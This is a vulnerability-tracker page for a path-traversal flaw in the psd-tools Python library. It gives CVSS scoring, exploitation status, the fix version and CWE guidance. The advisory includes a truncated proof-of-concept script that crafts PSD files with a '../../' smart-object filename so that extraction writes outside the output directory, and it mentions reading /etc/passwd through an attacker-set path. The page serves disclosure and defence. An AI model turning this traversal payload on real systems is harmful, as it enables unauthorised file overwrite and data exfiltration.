VulnerabilityPublished 9 Jul 2026Updated 10 Sep 2026

CVE-2026-49836: psd-tools vulnerable to arbitrary file write via smart-object filename

Affects psd-toolsSource GCVE Database

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Not known to be exploited · CVSS 4.6 Medium : upgrade to 1.17.1 when convenient.

Data as of 29 Oct 2026, 19:04 UTC

CVSS 4.0 base score

4.6Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.1% chance of exploitation in 30 days – higher than 8% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.17.1

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Attack Vector: Local
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: Active
Vulnerable system confidentiality: Low
Vulnerable system integrity: Low
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Active: Successful exploitation of this vulnerability requires a targeted user to perform specific, conscious interactions with the vulnerable system and the attacker’s payload, or the user’s interactions would actively subvert protection mechanisms which would lead to exploitation of the vulnerability.
Vulnerable system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Vulnerable System.
Vulnerable system integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 9 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade psd-tools to 1.17.1.

Affected software

Product	Affected	Fixed in
PyPIpsd-tools	Affected <1.17.1	Fixed in 1.17.1

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AI-suggested

Upgrade psd-tools to version 1.17.1 or later, where these vulnerabilities are fixed. The vendor advisory confirms that versions prior to 1.17.1 are affected and that the issues are resolved in 1.17.1. No other mitigations are specified.

Description

# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:",

Impact

An attacker who can supply or manipulate PSD files processed by psd-tools up to version 1.17.0 can cause the software to write arbitrary data to arbitrary filesystem locations, potentially overwriting critical files. They can also read arbitrary files from the filesystem and write their contents to an output directory, enabling data exfiltration. This can lead to unauthorized file modification and disclosure.

Summary

In psd-tools versions up to 1.17.0, the SmartObject.save() method writes embedded smart objects to file paths taken directly from the PSD file without sanitization, enabling arbitrary file write through path traversal (e.g., using '../'). The filename property is attacker-controlled and unsanitized, allowing writes outside the intended directory. Additionally, SmartObject.open() for external-kind smart objects uses an attacker-controlled fullPath descriptor without directory constraints, allowing arbitrary file reads. These vulnerabilities enable an attacker to write arbitrary bytes to arbitrary paths and read arbitrary files, potentially exfiltrating sensitive data. Both issues are fixed in version 1.17.1.

CWE-22Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #6OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Implementation · Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174).
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.1 (opens in a new tab)
Attack patterns
Path Traversal (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
Using Escaped Slashes in Alternate Encoding (opens in a new tab)
Using Slashes in Alternate Encoding (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-73External Control of File Name or Path (opens in a new tab)
Base weaknessLikelihood of exploit: HighOWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
The product allows user input to control or influence paths or file names that are used in filesystem operations.
Architecture and Design
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt".
Architecture and Design · Operation
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
OWASP Cheat Sheets
XML Security (opens in a new tab)
Mass Assignment (opens in a new tab)
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.2 (opens in a new tab)
V13.3.1 (opens in a new tab)
V5.1.4 (opens in a new tab)
Attack patterns
Subverting Environment Variable Values (opens in a new tab)
Leverage Alternate Encoding (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
URL Encoding (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 10 Jul 2026, 09:33 UTC

WeaknessesCWE-22, CWE-73

Technical details

References

Community reviews

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